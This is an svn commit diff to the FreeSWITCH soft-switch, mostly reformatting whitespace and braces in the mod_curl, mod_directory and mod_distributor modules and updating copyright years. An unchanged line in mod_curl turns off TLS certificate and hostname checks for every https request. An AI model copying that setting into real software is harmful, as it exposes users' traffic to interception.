--- freeswitch/trunk/src/mod/applications/mod_curl/mod_curl.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_curl/mod_curl.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -28,7 +28,7 @@
* mod_curl.c -- API for performing http queries
*
*/
-
+
#include <switch.h>
#include <curl/curl.h>
#include <json.h>
@@ -75,13 +75,12 @@
http_data->bytes += realsize;
if (http_data->bytes > http_data->max_bytes) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Oversized file detected [%d bytes]\n", (int)http_data->bytes);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Oversized file detected [%d bytes]\n", (int) http_data->bytes);
http_data->err = 1;
return 0;
}
- http_data->stream.write_function(
- &http_data->stream, "%.*s", realsize, ptr);
+ http_data->stream.write_function(&http_data->stream, "%.*s", realsize, ptr);
return realsize;
}
@@ -90,18 +89,19 @@
register unsigned int realsize = (unsigned int) (size * nmemb);
http_data_t *http_data = data;
char *header = NULL;
-
- header = switch_core_alloc(http_data->pool, realsize+1);
+
+ header = switch_core_alloc(http_data->pool, realsize + 1);
switch_copy_string(header, ptr, realsize);
header[realsize] = '\0';
http_data->headers = curl_slist_append(http_data->headers, header);
-
+
return realsize;
}
-static http_data_t *do_lookup_url(switch_memory_pool_t *pool, const char *url, const char *method, const char *data) {
-
+static http_data_t *do_lookup_url(switch_memory_pool_t *pool, const char *url, const char *method, const char *data)
+{
+
CURL *curl_handle = NULL;
long httpRes = 0;
char hostname[256] = "";
@@ -111,19 +111,19 @@
http_data = switch_core_alloc(pool, sizeof(http_data_t));
memset(http_data, 0, sizeof(http_data_t));
http_data->pool = pool;
-
+
http_data->max_bytes = 64000;
SWITCH_STANDARD_STREAM(http_data->stream);
gethostname(hostname, sizeof(hostname));
-
+
if (!method) {
method = "get";
}
-
+
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "method: %s, url: %s\n", method, url);
curl_handle = curl_easy_init();
-
+
if (!strncasecmp(url, "https", 5)) {
curl_easy_setopt(curl_handle, CURLOPT_SSL_VERIFYPEER, 0);
curl_easy_setopt(curl_handle, CURLOPT_SSL_VERIFYHOST, 0);
@@ -150,54 +150,53 @@
curl_easy_perform(curl_handle);
curl_easy_getinfo(curl_handle, CURLINFO_RESPONSE_CODE, &httpRes);
curl_easy_cleanup(curl_handle);
-
- if ( http_data->stream.data &&
- !zstr((char *)http_data->stream.data) &&
- strcmp(" ", http_data->stream.data) ) {
-
+
+ if (http_data->stream.data && !zstr((char *) http_data->stream.data) && strcmp(" ", http_data->stream.data)) {
+
http_data->http_response = switch_core_strdup(pool, http_data->stream.data);
}
-
+
http_data->http_response_code = httpRes;
-
+
switch_safe_free(http_data->stream.data);
return http_data;
}
-static char *print_json(switch_memory_pool_t *pool, http_data_t *http_data) {
+static char *print_json(switch_memory_pool_t *pool, http_data_t *http_data)
+{
struct json_object *top = NULL;
struct json_object *headers = NULL;
char *data = NULL;
struct curl_slist *header = http_data->headers;
-
+
top = json_object_new_object();
headers = json_object_new_array();
json_object_object_add(top, "status_code", json_object_new_int(http_data->http_response_code));
if (http_data->http_response) {
json_object_object_add(top, "body", json_object_new_string(http_data->http_response));
}
-
+
/* parse header data */
- while(header) {
+ while (header) {
struct json_object *obj = NULL;
/* remove trailing \r */
- if ((data=rindex(header->data, '\r'))) {
+ if ((data = rindex(header->data, '\r'))) {
*data = '\0';
}
-
+
if (zstr(header->data)) {
header = header->next;
continue;
}
-
+
if ((data = index(header->data, ':'))) {
*data = '\0';
data++;
- while(*data == ' ' && *data != '\0') {
+ while (*data == ' ' && *data != '\0') {
data++;
}
- obj = json_object_new_object();
+ obj = json_object_new_object();
json_object_object_add(obj, "key", json_object_new_string(header->data));
json_object_object_add(obj, "value", json_object_new_string(data));
json_object_array_add(headers, obj);
@@ -223,15 +222,15 @@
}
json_object_object_add(top, "headers", headers);
data = switch_core_strdup(pool, json_object_to_json_string(top));
- json_object_put(top); /* should free up all children */
-
+ json_object_put(top); /* should free up all children */
+
return data;
}
SWITCH_STANDARD_APP(curl_app_function)
{
switch_status_t status = SWITCH_STATUS_SUCCESS;
-
+
char *argv[10] = { 0 };
int argc;
char *mydata = NULL;
@@ -247,8 +246,8 @@
struct curl_slist *slist = NULL;
switch_stream_handle_t stream = { 0 };
int i = 0;
-
-
+
+
if (session) {
pool = switch_core_session_get_pool(session);
} else {
@@ -257,24 +256,23 @@
if (!(mydata = switch_core_session_strdup(session, data))) {
return;
}
-
+
if ((argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0]))))) {
if (argc == 0) {
switch_goto_status(SWITCH_STATUS_SUCCESS, usage);
}
-
+
url = switch_core_strdup(pool, argv[0]);
- for (i =1; i < argc; i++) {
+ for (i = 1; i < argc; i++) {
if (!strcasecmp("headers", argv[i])) {
do_headers = SWITCH_TRUE;
} else if (!strcasecmp("json", argv[i])) {
do_json = SWITCH_TRUE;
- } else if ( !strcasecmp("get", argv[i]) ||
- !strcasecmp("head", argv[i])) {
+ } else if (!strcasecmp("get", argv[i]) || !strcasecmp("head", argv[i])) {
method = switch_core_strdup(pool, argv[i]);
} else if (!strcasecmp("post", argv[i])) {
- if ( ++i < argc) {
+ if (++i < argc) {
postdata = switch_core_strdup(pool, argv[i]);
switch_url_decode(postdata);
} else {
@@ -283,7 +281,7 @@
}
}
}
-
+
http_data = do_lookup_url(pool, url, method, postdata);
if (do_json) {
switch_channel_set_variable(channel, "curl_response_data", print_json(pool, http_data));
@@ -291,7 +289,7 @@
SWITCH_STANDARD_STREAM(stream);
if (do_headers) {
slist = http_data->headers;
- while(slist) {
+ while (slist) {
stream.write_function(&stream, "%s\n", slist->data);
slist = slist->next;
}
@@ -300,17 +298,16 @@
stream.write_function(&stream, "%s", http_data->http_response ? http_data->http_response : "");
switch_channel_set_variable(channel, "curl_response_data", stream.data);
}
- switch_channel_set_variable(channel, "curl_response_code",
- switch_core_sprintf(pool, "%ld", http_data->http_response_code));
+ switch_channel_set_variable(channel, "curl_response_code", switch_core_sprintf(pool, "%ld", http_data->http_response_code));
switch_channel_set_variable(channel, "curl_method", method);
switch_goto_status(SWITCH_STATUS_SUCCESS, done);
-
-usage:
+
+ usage:
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Usage: %s\n", SYNTAX);
switch_goto_status(status, done);
-
-done:
+
+ done:
switch_safe_free(stream.data);
if (http_data && http_data->headers) {
curl_slist_free_all(http_data->headers);
@@ -319,6 +316,7 @@
switch_core_destroy_memory_pool(&pool);
}
}
+
SWITCH_STANDARD_API(curl_function)
{
switch_status_t status;
@@ -335,7 +333,7 @@
int i = 0;
switch_memory_pool_t *pool = NULL;
-
+
if (zstr(cmd)) {
switch_goto_status(SWITCH_STATUS_SUCCESS, usage);
}
@@ -351,20 +349,19 @@
if (argc < 1) {
switch_goto_status(SWITCH_STATUS_SUCCESS, usage);
}
-
+
url = switch_core_strdup(pool, argv[0]);
-
- for (i =1; i < argc; i++) {
+
+ for (i = 1; i < argc; i++) {
if (!strcasecmp("headers", argv[i])) {
do_headers = SWITCH_TRUE;
} else if (!strcasecmp("json", argv[i])) {
do_json = SWITCH_TRUE;
- } else if ( !strcasecmp("get", argv[i]) ||
- !strcasecmp("head", argv[i])) {
+ } else if (!strcasecmp("get", argv[i]) || !strcasecmp("head", argv[i])) {
method = switch_core_strdup(pool, argv[i]);
} else if (!strcasecmp("post", argv[i])) {
method = "post";
- if ( ++i < argc) {
+ if (++i < argc) {
postdata = switch_core_strdup(pool, argv[i]);
switch_url_decode(postdata);
} else {
@@ -372,14 +369,14 @@
}
}
}
-
+
http_data = do_lookup_url(pool, url, method, postdata);
if (do_json) {
stream->write_function(stream, "%s", print_json(pool, http_data));
} else {
if (do_headers) {
slist = http_data->headers;
- while(slist) {
+ while (slist) {
stream->write_function(stream, "%s\n", slist->data);
slist = slist->next;
}
@@ -390,11 +387,11 @@
}
switch_goto_status(SWITCH_STATUS_SUCCESS, done);
-usage:
+ usage:
stream->write_function(stream, "-ERR\n%s\n", SYNTAX);
switch_goto_status(status, done);
-
-done:
+
+ done:
if (http_data && http_data->headers) {
curl_slist_free_all(http_data->headers);
}
@@ -414,7 +411,7 @@
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
memset(&globals, 0, sizeof(globals));
-
+
globals.pool = pool;
SWITCH_ADD_API(api_interface, "curl", "curl API", curl_function, SYNTAX);
Modified: freeswitch/trunk/src/mod/applications/mod_directory/mod_directory.c (16578 => 16579)
--- freeswitch/trunk/src/mod/applications/mod_directory/mod_directory.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_directory/mod_directory.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -40,19 +40,16 @@
static const char *global_cf = "directory.conf";
static char dir_sql[] =
-"CREATE TABLE directory_search (\n"
-" hostname VARCHAR(255),\n"
-" uuid VARCHAR(255),\n"
-" extension VARCHAR(255),\n"
-" full_name VARCHAR(255),\n"
-" full_name_digit VARCHAR(255),\n"
-" first_name VARCHAR(255),\n"
-" first_name_digit VARCHAR(255),\n"
-" last_name VARCHAR(255),\n"
-" last_name_digit VARCHAR(255),\n"
-" name_visible INTEGER,\n"
-" exten_visible INTEGER\n"
-");\n";
+ "CREATE TABLE directory_search (\n"
+ " hostname VARCHAR(255),\n"
+ " uuid VARCHAR(255),\n"
+ " extension VARCHAR(255),\n"
+ " full_name VARCHAR(255),\n"
+ " full_name_digit VARCHAR(255),\n"
+ " first_name VARCHAR(255),\n"
+ " first_name_digit VARCHAR(255),\n"
+ " last_name VARCHAR(255),\n"
+ " last_name_digit VARCHAR(255),\n" " name_visible INTEGER,\n" " exten_visible INTEGER\n" ");\n";
#define DIR_RESULT_ITEM "directory_result_item"
#define DIR_RESULT_SAY_NAME "directory_result_say_name"
@@ -113,51 +110,52 @@
PFLAG_DESTROY = 1 << 0
} dir_flags_t;
-static int digit_matching_keypad(char letter) {
+static int digit_matching_keypad(char letter)
+{
int result = -1;
- switch(toupper(letter)) {
- case 'A':
- case 'B':
- case 'C':
- result = 2;
- break;
- case 'D':
- case 'E':
- case 'F':
- result = 3;
- break;
- case 'G':
- case 'H':
- case 'I':
- result = 4;
- break;
- case 'J':
- case 'K':
- case 'L':
- result = 5;
- break;
- case 'M':
- case 'N':
- case 'O':
- result = 6;
- break;
- case 'P':
- case 'Q':
- case 'R':
- case 'S':
- result = 7;
- break;
- case 'T':
- case 'U':
- case 'V':
- result = 8;
- break;
- case 'W':
- case 'X':
- case 'Y':
- case 'Z':
- result = 9;
- break;
+ switch (toupper(letter)) {
+ case 'A':
+ case 'B':
+ case 'C':
+ result = 2;
+ break;
+ case 'D':
+ case 'E':
+ case 'F':
+ result = 3;
+ break;
+ case 'G':
+ case 'H':
+ case 'I':
+ result = 4;
+ break;
+ case 'J':
+ case 'K':
+ case 'L':
+ result = 5;
+ break;
+ case 'M':
+ case 'N':
+ case 'O':
+ result = 6;
+ break;
+ case 'P':
+ case 'Q':
+ case 'R':
+ case 'S':
+ result = 7;
+ break;
+ case 'T':
+ case 'U':
+ case 'V':
+ result = 8;
+ break;
+ case 'W':
+ case 'X':
+ case 'Y':
+ case 'Z':
+ result = 9;
+ break;
}
@@ -185,7 +183,7 @@
if (*d) {
*d = '\0';
}
- }
+ }
return dst;
}
@@ -206,7 +204,7 @@
status = switch_core_db_persistant_execute(db, sql, 1);
switch_core_db_close(db);
-end:
+ end:
if (mutex) {
switch_mutex_unlock(mutex);
}
@@ -304,7 +302,7 @@
switch_core_db_close(db);
}
-end:
+ end:
if (mutex) {
switch_mutex_unlock(mutex);
}
@@ -337,34 +335,32 @@
profile->config_str_pool.pool = profile->pool;
- SWITCH_CONFIG_SET_ITEM(profile->config[i++], "next-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
- &profile->next_key, "6", &config_dtmf, NULL, NULL);
- SWITCH_CONFIG_SET_ITEM(profile->config[i++], "prev-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
- &profile->prev_key, "4", &config_dtmf, NULL, NULL);
+ SWITCH_CONFIG_SET_ITEM(profile->config[i++], "next-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, &profile->next_key, "6", &config_dtmf, NULL, NULL);
+ SWITCH_CONFIG_SET_ITEM(profile->config[i++], "prev-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE, &profile->prev_key, "4", &config_dtmf, NULL, NULL);
SWITCH_CONFIG_SET_ITEM(profile->config[i++], "terminator-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
- &profile->terminator_key, "#", &config_dtmf, NULL, NULL);
+ &profile->terminator_key, "#", &config_dtmf, NULL, NULL);
SWITCH_CONFIG_SET_ITEM(profile->config[i++], "switch-order-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
- &profile->switch_order_key, "*", &config_dtmf, NULL, NULL);
+ &profile->switch_order_key, "*", &config_dtmf, NULL, NULL);
SWITCH_CONFIG_SET_ITEM(profile->config[i++], "select-name-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
- &profile->select_name_key, "1", &config_dtmf, NULL, NULL);
+ &profile->select_name_key, "1", &config_dtmf, NULL, NULL);
SWITCH_CONFIG_SET_ITEM(profile->config[i++], "new-search-key", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
- &profile->new_search_key, "3", &config_dtmf, NULL, NULL);
+ &profile->new_search_key, "3", &config_dtmf, NULL, NULL);
SWITCH_CONFIG_SET_ITEM(profile->config[i++], "search-order", SWITCH_CONFIG_STRING, CONFIG_RELOADABLE,
- &profile->search_order, "last_name", &profile->config_str_pool, NULL, NULL);
+ &profile->search_order, "last_name", &profile->config_str_pool, NULL, NULL);
SWITCH_CONFIG_SET_ITEM(profile->config[i++], "digit-timeout", SWITCH_CONFIG_INT, CONFIG_RELOADABLE,
- &profile->digit_timeout, 3000, &config_int_digit_timeout, NULL, NULL);
+ &profile->digit_timeout, 3000, &config_int_digit_timeout, NULL, NULL);
SWITCH_CONFIG_SET_ITEM(profile->config[i++], "min-search-digits", SWITCH_CONFIG_INT, CONFIG_RELOADABLE,
- &profile->min_search_digits, 3, &config_int_ht_0, NULL, NULL);
+ &profile->min_search_digits, 3, &config_int_ht_0, NULL, NULL);
SWITCH_CONFIG_SET_ITEM(profile->config[i++], "max-menu-attempts", SWITCH_CONFIG_INT, CONFIG_RELOADABLE,
- &profile->max_menu_attempt, 3, &config_int_ht_0, NULL, NULL);
+ &profile->max_menu_attempt, 3, &config_int_ht_0, NULL, NULL);
SWITCH_CONFIG_SET_ITEM(profile->config[i++], "max-result", SWITCH_CONFIG_INT, CONFIG_RELOADABLE,
- &profile->max_result, 5, &config_int_ht_0, NULL, NULL);
+ &profile->max_result, 5, &config_int_ht_0, NULL, NULL);
return profile;
}
-static dir_profile_t * load_profile(const char *profile_name)
+static dir_profile_t *load_profile(const char *profile_name)
{
dir_profile_t *profile = NULL;
switch_xml_t x_profiles, x_profile, cfg, xml = NULL;
@@ -413,7 +409,7 @@
switch_core_hash_insert(globals.profile_hash, profile->name, profile);
}
-end:
+ end:
switch_xml_free(xml);
return profile;
@@ -451,7 +447,7 @@
return SWITCH_STATUS_SUCCESS;
}
-static dir_profile_t * get_profile(const char *profile_name)
+static dir_profile_t *get_profile(const char *profile_name)
{
dir_profile_t *profile = NULL;
@@ -469,7 +465,8 @@
return profile;
}
-static switch_status_t populate_database(switch_core_session_t *session, dir_profile_t * profile, const char *domain_name) {
+static switch_status_t populate_database(switch_core_session_t *session, dir_profile_t *profile, const char *domain_name)
+{
switch_status_t status = SWITCH_STATUS_SUCCESS;
char *sql = NULL;
@@ -561,8 +558,9 @@
firstNameDigit = string_to_keypad_digit(firstName);
/* add user into DB */
- sql = switch_mprintf("insert into directory_search values('%q','%q','%q','%q','%q','%q','%q','%q','%q','%d','%d')",
- globals.hostname, switch_core_session_get_uuid(session), id, fullName, fullNameDigit, firstName, firstNameDigit, lastName, lastNameDigit, name_visible, exten_visible);
+ sql = switch_mprintf("insert into directory_search values('%q','%q','%q','%q','%q','%q','%q','%q','%q','%d','%d')",
+ globals.hostname, switch_core_session_get_uuid(session), id, fullName, fullNameDigit, firstName, firstNameDigit,
+ lastName, lastNameDigit, name_visible, exten_visible);
if (sqlvalues) {
sqltmp = sqlvalues;
@@ -580,10 +578,10 @@
}
}
}
- sql = switch_mprintf("BEGIN;%s;COMMIT;",sqlvalues);
+ sql = switch_mprintf("BEGIN;%s;COMMIT;", sqlvalues);
directory_execute_sql(sql, profile->mutex);
-end:
+ end:
switch_safe_free(sql);
switch_safe_free(sqlvalues);
switch_event_destroy(&xml_params);
@@ -603,27 +601,27 @@
static switch_status_t on_dtmf(switch_core_session_t *session, void *input, switch_input_type_t itype, void *buf, unsigned int buflen)
{
switch (itype) {
- case SWITCH_INPUT_TYPE_DTMF:
- {
- switch_dtmf_t *dtmf = (switch_dtmf_t *) input;
- cbr_t *cbr = (cbr_t *) buf;
- cbr->digit = dtmf->digit;
- if (dtmf->digit == *cbr->profile->terminator_key || dtmf->digit == *cbr->profile->switch_order_key) {
- return SWITCH_STATUS_BREAK;
- }
+ case SWITCH_INPUT_TYPE_DTMF:
+ {
+ switch_dtmf_t *dtmf = (switch_dtmf_t *) input;
+ cbr_t *cbr = (cbr_t *) buf;
+ cbr->digit = dtmf->digit;
+ if (dtmf->digit == *cbr->profile->terminator_key || dtmf->digit == *cbr->profile->switch_order_key) {
+ return SWITCH_STATUS_BREAK;
+ }
- if (strlen(cbr->digits) < sizeof(cbr->digits) - 2) {
- int at = strlen(cbr->digits);
- cbr->digits[at++] = dtmf->digit;
- cbr->digits[at] = '\0';
- } else {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "DTMF buffer is full\n");
- return SWITCH_STATUS_BREAK;
- }
+ if (strlen(cbr->digits) < sizeof(cbr->digits) - 2) {
+ int at = strlen(cbr->digits);
+ cbr->digits[at++] = dtmf->digit;
+ cbr->digits[at] = '\0';
+ } else {
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "DTMF buffer is full\n");
+ return SWITCH_STATUS_BREAK;
}
- break;
- default:
- break;
+ }
+ break;
+ default:
+ break;
}
return SWITCH_STATUS_BREAK;
@@ -650,12 +648,12 @@
}
if (zstr_buf(buf)) {
- switch_snprintf(macro, sizeof(macro), "phrase:%s:%d", DIR_RESULT_ITEM, cbt->want+1);
+ switch_snprintf(macro, sizeof(macro), "phrase:%s:%d", DIR_RESULT_ITEM, cbt->want + 1);
switch_ivr_read(session, 0, 1, macro, NULL, buf, sizeof(buf), 1, profile->terminator_key);
}
if (!zstr_buf(recorded_name) && zstr_buf(buf)) {
- switch_ivr_read(session, 0, 1, recorded_name, NULL, buf, sizeof(buf), 1, profile->terminator_key);
+ switch_ivr_read(session, 0, 1, recorded_name, NULL, buf, sizeof(buf), 1, profile->terminator_key);
}
if (zstr_buf(recorded_name) && zstr_buf(buf)) {
@@ -667,7 +665,8 @@
switch_ivr_read(session, 0, 1, macro, NULL, buf, sizeof(buf), 1, profile->terminator_key);
}
if (zstr_buf(buf)) {
- switch_snprintf(macro, sizeof(macro), "phrase:%s:%c,%c,%c,%c", DIR_RESULT_MENU, *profile->select_name_key, *profile->next_key, *profile->prev_key, *profile->new_search_key);
+ switch_snprintf(macro, sizeof(macro), "phrase:%s:%c,%c,%c,%c", DIR_RESULT_MENU, *profile->select_name_key, *profile->next_key, *profile->prev_key,
+ *profile->new_search_key);
switch_ivr_read(session, 0, 1, macro, NULL, buf, sizeof(buf), profile->digit_timeout, profile->terminator_key);
}
@@ -688,7 +687,8 @@
return SWITCH_STATUS_SUCCESS;
}
-switch_status_t gather_name_digit(switch_core_session_t *session, dir_profile_t *profile, search_params_t *params) {
+switch_status_t gather_name_digit(switch_core_session_t *session, dir_profile_t *profile, search_params_t *params)
+{
switch_channel_t *channel = switch_core_session_get_channel(session);
switch_status_t status = SWITCH_STATUS_SUCCESS;
cbr_t cbr;
@@ -707,7 +707,7 @@
/* Gather the user Name */
- switch_snprintf(macro, sizeof(macro), "%s:%c", (params->search_by_last_name?"last_name":"first_name"), *profile->switch_order_key);
+ switch_snprintf(macro, sizeof(macro), "%s:%c", (params->search_by_last_name ? "last_name" : "first_name"), *profile->switch_order_key);
switch_ivr_phrase_macro(session, DIR_INTRO, macro, NULL, &args);
while (switch_channel_ready(channel)) {
@@ -737,7 +737,8 @@
return status;
}
-switch_status_t navigate_entrys(switch_core_session_t *session, dir_profile_t *profile, search_params_t *params) {
+switch_status_t navigate_entrys(switch_core_session_t *session, dir_profile_t *profile, search_params_t *params)
+{
switch_status_t status = SWITCH_STATUS_SUCCESS;
char *sql = NULL;
char entry_count[80] = "";
@@ -749,7 +750,10 @@
cbt.buf = entry_count;
cbt.len = sizeof(entry_count);
- sql = switch_mprintf("select count(*) from directory_search where hostname = '%q' and uuid = '%q' and name_visible = 1 and %s like '%q%%'", globals.hostname, switch_core_session_get_uuid(session), (params->search_by_last_name?"last_name_digit":"first_name_digit"), params->digits);
+ sql =
+ switch_mprintf("select count(*) from directory_search where hostname = '%q' and uuid = '%q' and name_visible = 1 and %s like '%q%%'",
+ globals.hostname, switch_core_session_get_uuid(session), (params->search_by_last_name ? "last_name_digit" : "first_name_digit"),
+ params->digits);
directory_execute_sql_callback(profile->mutex, sql, sql2str_callback, &cbt);
switch_safe_free(sql);
@@ -773,7 +777,10 @@
memset(&listing_cbt, 0, sizeof(listing_cbt));
listing_cbt.params = params;
- sql = switch_mprintf("select extension, full_name, last_name, first_name, name_visible, exten_visible from directory_search where hostname = '%q' and uuid = '%q' and name_visible = 1 and %s like '%q%%' order by last_name, first_name", globals.hostname, switch_core_session_get_uuid(session), (params->search_by_last_name?"last_name_digit":"first_name_digit"), params->digits);
+ sql =
+ switch_mprintf
+ ("select extension, full_name, last_name, first_name, name_visible, exten_visible from directory_search where hostname = '%q' and uuid = '%q' and name_visible = 1 and %s like '%q%%' order by last_name, first_name",
+ globals.hostname, switch_core_session_get_uuid(session), (params->search_by_last_name ? "last_name_digit" : "first_name_digit"), params->digits);
for (cur_entry = 0; cur_entry < result_count; cur_entry++) {
listing_cbt.index = 0;
@@ -812,7 +819,7 @@
}
}
-end:
+ end:
switch_safe_free(sql);
return status;
@@ -825,8 +832,8 @@
char *argv[6] = { 0 };
char *mydata = NULL;
const char *profile_name = NULL;
- const char *domain_name = NULL;
- dir_profile_t * profile = NULL;
+ const char *domain_name = NULL;
+ dir_profile_t *profile = NULL;
int x = 0;
char *sql = NULL;
search_params_t s_param;
@@ -866,7 +873,7 @@
s_param.search_by_last_name = 0;
}
attempts = profile->max_menu_attempt;
- s_param.try_again = 1;
+ s_param.try_again = 1;
while (switch_channel_ready(channel) && (s_param.try_again && attempts-- > 0)) {
s_param.try_again = 0;
gather_name_digit(session, profile, &s_param);
@@ -895,7 +902,7 @@
sql = switch_mprintf("delete from directory_search where hostname = '%q' and uuid = '%q'", globals.hostname, switch_core_session_get_uuid(session));
directory_execute_sql(sql, profile->mutex);
switch_safe_free(sql);
- profile_rwunlock(profile);
+ profile_rwunlock(profile);
}
SWITCH_MODULE_LOAD_FUNCTION(mod_directory_load)
@@ -954,7 +961,7 @@
switch_mutex_lock(globals.mutex);
- while((hi = switch_hash_first(NULL, globals.profile_hash))) {
+ while ((hi = switch_hash_first(NULL, globals.profile_hash))) {
switch_hash_this(hi, &key, &keylen, &val);
profile = (dir_profile_t *) val;
Modified: freeswitch/trunk/src/mod/applications/mod_distributor/mod_distributor.c (16578 => 16579)
--- freeswitch/trunk/src/mod/applications/mod_distributor/mod_distributor.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_distributor/mod_distributor.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -64,7 +64,7 @@
static void destroy_node(struct dist_node *node)
{
struct dist_node *old;
- while(node) {
+ while (node) {
old = node;
node = node->next;
if (old->name) {
@@ -78,7 +78,7 @@
{
struct dist_list *old;
- while(list) {
+ while (list) {
old = list;
list = list->next;
destroy_node(old->nodes);
@@ -97,14 +97,14 @@
-static int load_config(int reloading)
+static int load_config(int reloading)
{
- struct dist_list *main_list=NULL, *new_list, *old_list=NULL, *lp=NULL;
+ struct dist_list *main_list = NULL, *new_list, *old_list = NULL, *lp = NULL;
switch_status_t status = SWITCH_STATUS_FALSE;
char *cf = "distributor.conf";
switch_xml_t cfg, xml, lists, list, param;
-
-
+
+
if (!(xml = switch_xml_open_cfg(cf, &cfg, NULL))) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Open of %s failed\n", cf);
return SWITCH_STATUS_TERM;
@@ -120,7 +120,7 @@
for (list = switch_xml_child(lists, "list"); list; list = list->next) {
const char *name = switch_xml_attr(list, "name");
const char *tweight = switch_xml_attr(list, "total-weight");
- struct dist_node *node, *np=NULL;
+ struct dist_node *node, *np = NULL;
int target_weight = 10;
int accum = 0;
@@ -128,30 +128,30 @@
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Missing NAME!\n");
continue;
}
-
+
if (!zstr(tweight)) {
target_weight = atoi(tweight);
}
switch_zmalloc(new_list, sizeof(*new_list));
-
+
new_list->name = strdup(name);
new_list->last = -1;
new_list->target_weight = target_weight;
-
+
if (lp) {
lp->next = new_list;
} else {
main_list = new_list;
}
-
+
lp = new_list;
-
+
for (param = switch_xml_child(list, "node"); param; param = param->next) {
char *name = (char *) switch_xml_attr_soft(param, "name");
char *weight_val = (char *) switch_xml_attr_soft(param, "weight");
int weight = 0, tmp;
-
+
if ((tmp = atoi(weight_val)) < 1) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Weight %d value incorrect, must be > 0\n", tmp);
continue;
@@ -163,24 +163,26 @@
}
if (accum + tmp > lp->target_weight) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Target Weight %d already met, ignoring subsequent entries.\n", lp->target_weight);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Target Weight %d already met, ignoring subsequent entries.\n",
+ lp->target_weight);
continue;
}
accum += tmp;
weight = lp->target_weight - tmp;
-
+
if (weight < 0 || weight > lp->target_weight) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Weight %d value incorrect, must be between 1 and %d\n", weight, lp->target_weight);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Weight %d value incorrect, must be between 1 and %d\n", weight,
+ lp->target_weight);
continue;
}
-
+
switch_zmalloc(node, sizeof(*node));
node->name = strdup(name);
node->weight = node->cur_weight = weight;
-
+
if (np) {
np->next = node;
} else {
@@ -198,7 +200,7 @@
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Total weight does not add up to total weight %d\n", lp->target_weight);
- for(np1 = lp->nodes; np1; np1 = np1->next) {
+ for (np1 = lp->nodes; np1; np1 = np1->next) {
np1->weight += lp->target_weight - ea;
}
@@ -230,7 +232,7 @@
{
struct dist_node *np;
- for(np = list->nodes; np; np = np->next) {
+ for (np = list->nodes; np; np = np->next) {
np->cur_weight = np->weight;
}
list->last = -1;
@@ -243,9 +245,9 @@
struct dist_node *np, *match = NULL;
int x = 0, mx = 0;
int matches = 0, loops = 0;
-
- for(;;) {
+ for (;;) {
+
if (++loops > 1000) {
break;
}
@@ -255,7 +257,7 @@
list->last = -1;
}
match = NULL;
- for(np = list->nodes; np; np = np->next) {
+ for (np = list->nodes; np; np = np->next) {
if (np->cur_weight < list->target_weight) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%s %d/%d\n", np->name, np->cur_weight, list->target_weight);
matches++;
@@ -274,7 +276,7 @@
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Choose %s\n", match->name);
return match;
}
-
+
if (matches) {
list->last = -1;
} else {
@@ -294,7 +296,7 @@
char *str = NULL;
switch_mutex_lock(globals.mod_lock);
- for(lp = globals.list; lp; lp = lp->next) {
+ for (lp = globals.list; lp; lp = lp->next) {
if (!strcasecmp(name, lp->name)) {
np = find_next(lp);
break;
@@ -307,14 +309,14 @@
switch_mutex_unlock(globals.mod_lock);
return str;
-
+
}
SWITCH_STANDARD_APP(distributor_exec)
{
switch_channel_t *channel = switch_core_session_get_channel(session);
char *ret = NULL;
-
+
if (zstr(data)) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "distributor requires an argument\n");
return;
